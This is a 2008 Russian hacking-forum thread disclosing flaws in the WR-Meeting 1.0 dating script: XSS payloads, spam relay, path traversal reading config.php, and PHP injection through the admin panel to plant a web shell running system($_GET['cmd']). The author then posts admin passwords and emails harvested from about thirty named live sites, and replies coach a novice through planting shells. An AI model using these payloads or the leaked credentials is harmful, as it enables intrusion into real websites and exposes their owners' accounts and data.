Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости в WR-Meeting 1.0 (https://forum.antichat.xyz/showthread.php?t=70610)

otmorozok428 17.05.2008 21:12

Уязвимости в WR-Meeting 1.0
 
Продолжаем оперировать семейство скриптов WR-Script. Сегодня в поле нашего зрения - служба знакомств WR-Meeting 1.0. Итак, я нашёл следующие уязвимости...


1. Пассивные XSS.

Цитата:

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr<script >alert()</script>&email=loh@loh.ru

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email= loh@loh.ru><script>alert()</script><

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email= loh@loh.ru&id=23><script>alert()</script><
На странице
Цитата:

http://localhost/wrm/index.php?event=addform
можно передать в качестве параметров POST-формы $city, $work, $url, $icq, параметры с длиной строки более 25 символов, содержащие строчку
Цитата:

<script>alert()</script>
Например,
Цитата:

1234567890<script>alert()</script>
Для этого придётся заменить параметр maxlength=25 в POST-форме на maxlength=45.

Данный класс уязвимостей представляет интерес скорее теоретический... Перейдём к практике...


2. Рассылка спама

Если параметр $sendmail в файле config.php равен "1" , т.е. отправка писем администратором НЕ запрещена, службу WR-Meeting можно использовать в качестве прокси для спам-рассылок. Так, ссылка
Цитата:

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email= loh@loh.ru
передаст email loh@loh.ru в форму отправки сообщения, в скрытое поле
Цитата:

<INPUT type=hidden name=uemail value=loh@loh.ru>
откуда можно слать что угодно и кому захочется. Собственно, скрипт для спам-рассылки наколбасить будет совсем несложно.


3. Создание на сервере .dat файлов с неприлично длинными цифровыми именами

Цитата:

http://localhost/wrm/addmsg.php?id=&msnum=22268
Откроем исходный код страницы и заменим
Цитата:

<FORM action='addmsg.php?event=add&msnum=22268' method=post name=addForm>
на
Цитата:

<FORM action='http://localhost/wrm/addmsg.php?event=add&msnum=99999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999' method=post name=addForm>
Сохраним страницу на жесткий диск, откроем её оттуда и нажмём кнопку "Сохранить". После этого на удалённом сервере появится файл с именем
Цитата:

99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999.dat
Чистой воды хулиганство... :)


4. Возможность выставления нестандартной оценки для фотографий.

Вместо стандартной шкалы оценок от 1 до 5, можно выставлять свои оценки от -9 до 99. Так понравившаяся тебе девушка может заполучить сразу 99 баллов за свою фотку, а парнишка-конкурент может схлопотать -9 баллов. Естественно, твоя оценка повлияет и на средний балл за фотографию. Идем на похожий линк
Цитата:

http://localhost/wrm/index.php?event=coment&msnum=22268
открываем исходный код странички, меняем
Цитата:

<INPUT name=type type=radio value='5'>5</TD></TR>
на
Цитата:

<INPUT name=type type=radio value='99'>99</TD></TR>
сохраняем страничку на локальный диск и открываем её оттуда... Ставим нашу оценку...


5. Просмотр файлов на сервере

Параметр msnum в файле index.php вставляется в качестве имени файла "как есть"
PHP код:

if ($_GET['event']=="coment")  {$msnum=$_GET['msnum']; 

.......................................................

if (
is_file("$datadir/$msnum.dat")) {
$rlines=file("$datadir/$msnum.dat");

....................................................... 

, что даёт возможность просматривать файлы на сервере. Так, ссылка вида
Цитата:

http://localhost/wrm/index.php?event=coment&msnum=../config.php%00
позволяет просмотреть содержимое файла config.php , где в открытом виде хранится пароль от админки.

Фиксится данная уязвимость заменой условия
PHP код:

if ($_GET['event']=="coment")  {$msnum=$_GET['msnum']; 

....................................................... 

на
PHP код:

if ($_GET['event']=="coment"&&ctype_digit($_GET['msnum'])) {$msnum=$_GET['msnum']; 

....................................................... 


6. Заливка шелла

Смотрим админский пасс в файле config.php, заходим в админку

Цитата:

http://localhost/wrm/admin.php
на вкладку "Конфигурирование", ищем пункт "Относительный путь до папки с данными скрипта" и

заменяем в нём ./fotodat на

./fotodat";if(isset($_GET["cmd"])){include($cmd);}//

для удалённого инклуда шелла

или на

./fotodat"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//

для выполнения команд на сервере. Первый вариант прокатит только при директиве PHP-интерпретатора allow_url_fopen = On ,второй более перспективен.

Жмём кнопку "Сохранить конфигурацию". Шелл готов к работе.


7. Раздача

Вот, нагуглилось...
Цитата:

http://love.sibdoska.ru/index.php?event=coment&msnum=../config.php%00

$password="s1"; // Пароль админа

$adminemail="Miha-ingener@yandex.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.gay-dosug.ru/index.php?event=coment&msnum=../config.php%00

$password="390035"; // Пароль админа

$adminemail="4033@mail.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.sayanboard.ru/love/index.php?event=coment&msnum=../config.php%00

$password="pvo71599e"; // Пароль админа

$adminemail="admin@sayanboard.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.garda.org.ua/meeting/admin.php?pswrd=admin

------------------------------------------------------------------------

http://www.sparta.md/meeting/index.php?event=coment&msnum=../config.php%00

$password="430-430"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://repairnetwork.ru/index.php?event=coment&msnum=../config.php%00

$password="4onada"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

Хитрый аффтар снёс админку из демо-версии :)

http://www.wr-script.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="q1q2"; // Пароль админа

$adminemail="miha-ingener@yandex.ru"; // Емайл админа

------------------------------------------------------------------------

http://love.mynickel.net.ru/index.php?event=coment&msnum=../config.php%00

$password="Suchka87"; // Пароль админа

$adminemail="admin@myickel.net.ru"; // Емайл админа
------------------------------------------------------------------------

http://starominska.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="cm6gnk"; // Пароль админа

$adminemail="admin@starominska.ru"; // Емайл админа

------------------------------------------------------------------------

http://diana.mindlife.ru/index.php?event=coment&msnum=../config.php%00

$password="dimap"; // Пароль админа

$adminemail="astro_d@inbox.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.inetsky.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="pyfrjvmcz32"; // Пароль админа

$adminemail="wacher@mail.inetsky.ru"; // Емайл админа

------------------------------------------------------------------------

http://213.8.173.232/9/index.php?event=coment&msnum=../config.php%00

$password="admin"; // Пароль админа

$adminemail="Miha-ingener@yandex.ru"; // Емайл админа

------------------------------------------------------------------------

http://znakomstva.foxcat.ru/index.php?event=coment&msnum=../config.php%00

$password="010377"; // Пароль админа

$adminemail="alexey__fedotov@mail.ru"; // Емайл админа

------------------------------------------------------------------------

http://allove.in/admin.php?pswrd=admin

------------------------------------------------------------------------

http://php-ru.info/1/meet/index.php?event=coment&msnum=../config.php%00

$password="Virusebola"; // Пароль админа

$adminemail="gamovic@rambler.ru"; // Емайл админа
------------------------------------------------------------------------

http://vs.tj/index.php?event=coment&msnum=../config.php%00

$password="ghbdtn"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.videomontazh.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="lalala"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.ineedlove.metroland.ru/index.php?event=coment&msnum=../config.php%00

$password="reeboot"; // Пароль админа

$adminemail="code-soft@programist.ru"; // Емайл админа

------------------------------------------------------------------------

http://zauralrb.info/znak/index.php?event=coment&msnum=../config.php%00

$password="kvartira"; // Пароль админа

$adminemail="admin@zauralrb.info"; // Емайл админа

------------------------------------------------------------------------

http://www.znamenka75.com/meeting/admin.php?pswrd=admin

------------------------------------------------------------------------

http://www.kshyms.com/acquaintances/admin.php?pswrd=admin

-----------------------------------------------------------------------

http://lubny.com.ua/meeting/admin.php?pswrd=admin

-----------------------------------------------------------------------

http://emenci.com/foto/index.php?event=coment&msnum=../config.php%00

$password="vflfufcrfh"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://aleks-an.net.ru/love/index.php?event=coment&msnum=../config.php%00

$password="aleksadm"; // Пароль админа

$adminemail="andr_aleks@mail.ru"; // Емайл админа

------------------------------------------------------------------------

http://rig.fatal.ru/znakomstva/index.php?event=coment&msnum=../config.php%00

$password="16071960"; // Пароль админа

$adminemail="zdvika@narod.ru"; // Емайл админа

------------------------------------------------------------------------

http://rk-pechora.ru/znakomstva/index.php?event=coment&msnum=../config.php%00

$password="PE8KW1M59d"; // Пароль админа

$adminemail="admin@nikolai800.ru"; // Емайл админа

------------------------------------------------------------------------

http://oberon.oriontv.net/znak/index.php?event=coment&msnum=../config.php%00

$password="vvvvvv"; // Пароль админа

$adminemail="serhio@oriontv.net"; // Емайл админа
К некоторым админкам, где уязвимость не юзалась, подошёл дефолтовый пароль admin.


*******

Cr@zy_King 17.05.2008 22:33

Good .

DDoSька 17.05.2008 22:40

Круто,но объясни пожалуйста нубу поподробнее с шелами )) буду очень благодарен :rolleyes:

otmorozok428 17.05.2008 23:07

Цитата:

Сообщение от DDoSька
Круто,но объясни пожалуйста нубу поподробнее с шелами )) буду очень благодарен :rolleyes:

DDoSька, в общем идея такая, файл config.php - это файл, в котором хранятся настройки WR-Meeting в таком формате

PHP код:

<? // WR-Meeting v 1.0.2  //  23.09.07 г.  //  Miha-ingener@yandex.ru
................чего-то ещё........................

$adminemail="email@email.ru"// Емайл админа
$password="admin"// Пароль админа

................чего-то ещё........................

$datadir="./fotodat";  // Каталог с фото и комментариями/оценками

................чего-то ещё........................
?>

Основной скрипт index.php обращается к этим настройкам посредством конструкции

PHP код:

include "config.php"

Панель администрирования (файл admin.php) позволяет изменять значения переменных в файле config.php. А поскольку в админке не проверяется корректность вводимых данных, то введя в пункте "Относительный путь до папки с данными скрипта" значение

PHP код:

./fotodat";if(isset($_GET["cmd"])){include($cmd);}// 

мы добавляем в PHP-код файла config.php (а заодно и файла index.php) дополнительную инструкцию include()

PHP код:

<? // WR-Meeting v 1.0.2  //  23.09.07 г.  //  Miha-ingener@yandex.ru

$datadir="./fotodat";if(isset($_GET["cmd"])){include($cmd);}//"; // Каталог с фото и комментариями/оценками

?>

Смотри, после присвоения значения переменной $datadir, добавилась инструкция include(). Главное не запутаться с количеством кавычек и вообще не косячить с синтаксисом. Если ошибёшься, завалишь скрипт знакомств, а заодно потеряешь доступ.

Blacksmith 17.05.2008 23:17

Молодец!

Blacksmith 17.05.2008 23:26

Цитата:

Сообщение от otmorozok428
DDoSька, в общем идея такая, файл config.php - это файл, в котором хранятся настройки WR-Meeting в таком формате

PHP код:

<? // WR-Meeting v 1.0.2  //  23.09.07 г.  //  Miha-ingener@yandex.ru
................чего-то ещё........................

$adminemail="email@email.ru"// Емайл админа
$password="admin"// Пароль админа

................чего-то ещё........................

$datadir="./fotodat";  // Каталог с фото и комментариями/оценками

................чего-то ещё........................
?>

Основной скрипт index.php обращается к этим настройкам посредством конструкции

PHP код:

include "config.php"

Панель администрирования (файл admin.php) позволяет изменять значения переменных в файле config.php. А поскольку в админке не проверяется корректность вводимых данных, то введя в пункте "Относительный путь до папки с данными скрипта" значение

PHP код:

./fotodat";if(isset($_GET["cmd"])){include($cmd);}// 

мы добавляем в PHP-код файла config.php (а заодно и файла index.php) дополнительную инструкцию system()

PHP код:

<? // WR-Meeting v 1.0.2  //  23.09.07 г.  //  Miha-ingener@yandex.ru

$datadir="./fotodat";if(isset($_GET["cmd"])){include($cmd);}//"; // Каталог с фото и комментариями/оценками

?>

Смотри, после присвоения переменной $datadir значения, добавилась инструкция system(). Главное не запутаться с количеством кавычек и вообще не косячить с синтаксисом. Если ошибёшься, завалишь скрипт знакомств, а заодно потеряешь доступ.


А есть еше способ заливки шелла?

otmorozok428 17.05.2008 23:37

Цитата:

Сообщение от Blacksmith
А есть еше способ заливки шелла?

Ну если поискать может быть и найдётся, только смысл-то какой? Шелл у тебя уже и так есть :)

DDoSька 18.05.2008 02:43

спасибо,очень хорошо объяснил,приятно,что ты объяснил весь смысл
ЗЫ:я думал скажешь :"Купи моск" =)

otmorozok428 21.05.2008 17:17

Цитата:

Сообщение от Cr@zy_King
Good .

Тынц

Ты б чтоль автора упомянул приличия ради...

А то там благодарности уж каким-то совсем левым чувакам...


Время: 19:43